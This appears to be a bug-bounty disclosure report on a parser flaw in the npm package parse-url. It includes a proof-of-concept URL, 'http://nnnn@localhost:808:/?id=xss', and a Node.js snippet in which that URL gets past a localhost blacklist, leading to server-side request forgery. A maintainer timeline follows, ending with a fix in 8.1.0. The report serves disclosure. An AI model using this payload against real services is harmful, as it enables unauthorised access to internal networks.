parser bypass and make SSRF attack in ionicabizau/parse-url

Valid

Reported on

Aug 3rd 2022


parse-url inproperly detecting protocol,resource and Pathname . This allow to bypass protocol check . Also this bug make ssrf check bypass

lets check normal url result for parse-url

import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808/?id=xss"))
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: '808',
  resource: 'localhost',
  host: 'localhost:808',
  user: 'nnnn',
  password: '',
  pathname: '/',
  hash: '',
  search: 'id=xss',
  href: 'http://nnnn@localhost:808/?id=xss',
  query: { id: 'xss' },
  parse_failed: false
}

Now provide bellow crafted url to confuse the parse-url .

import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808:/?id=xss"))

response

{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'nnnn@localhost',
  host: 'nnnn@localhost',
  user: 'git',
  password: '',
  pathname: '/808',
  hash: '',
  search: '',
  href: 'http://nnnn@localhost:808:/?id=xss',
  query: {},
  parse_failed: false
}

Here in this output see it incorrectly detecting the protocol,resource,pathname, and user param

SSRF BYPASS and access blacklist domain

lets assume developer set blackList domain localhost

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }

Crafted url payload is http://nnnn@localhost:808:/?id=xss

Impact

ssrf to access internal network

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 2 months ago
ranjit-git modified the report
2 months ago
ranjit-git modified the report
2 months ago
ranjit-git modified the report
2 months ago
We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back 2 months ago
We have sent a follow up to the ionicabizau/parse-url team. We will try again in 7 days. 2 months ago
We have sent a second follow up to the ionicabizau/parse-url team. We will try again in 10 days. 2 months ago
Ionică Bizău (Johnny B.) validated this vulnerability a month ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. a month ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. a month ago
We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now considered stale. 23 days ago
Ionică Bizău (Johnny B.) confirmed that a fix has been merged on b88c81 18 days ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
Ionică
18 days ago

Maintainer


Sorry, this was fixed in 8.1.0...

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